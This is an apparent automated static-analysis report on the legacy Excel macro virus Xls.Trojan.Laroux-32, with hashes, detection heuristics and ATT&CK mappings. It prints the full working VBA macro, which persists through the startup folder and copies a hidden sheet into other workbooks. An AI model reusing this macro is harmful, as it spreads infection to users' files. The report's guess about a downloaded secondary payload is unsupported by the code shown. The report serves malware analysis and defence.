Xls.Trojan.Laroux-32 — Office (OLE) malware analysis

Static analysis result for SHA-256 afb6fd29507c04b0…

MALICIOUS

Office (OLE)

40.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-15
MD5: 0c57a1d3bc1e77d7beb49ec652e7b470 SHA-1: a4404f793e3e83b60411921b3dbdfed57101426a SHA-256: afb6fd29507c04b0934d2773f75e4fc607187e00edaa08ea82e72904d77e0862
148 Risk Score

Malware Insights

Xls.Trojan.Laroux-32 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic identified the file as Xls.Trojan.Laroux-32. Static analysis revealed a VBA macro with an Auto_Open subroutine that attempts to save a file named RESULTS.XLS to the application's startup path. This suggests the malware aims to establish persistence or download and execute a secondary payload.

Heuristics 3

  • ClamAV: Xls.Trojan.Laroux-32 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-32
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1899 bytes
SHA-256: 671ecb061bd673a631f2711664987991de0c4e198606002adb987f9379096ea5
Detection
ClamAV: Xls.Trojan.Laroux-32
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Results"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    p4$ = ActiveWorkbook.path
    s$ = Workbooks(n4$).Sheets(1).name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

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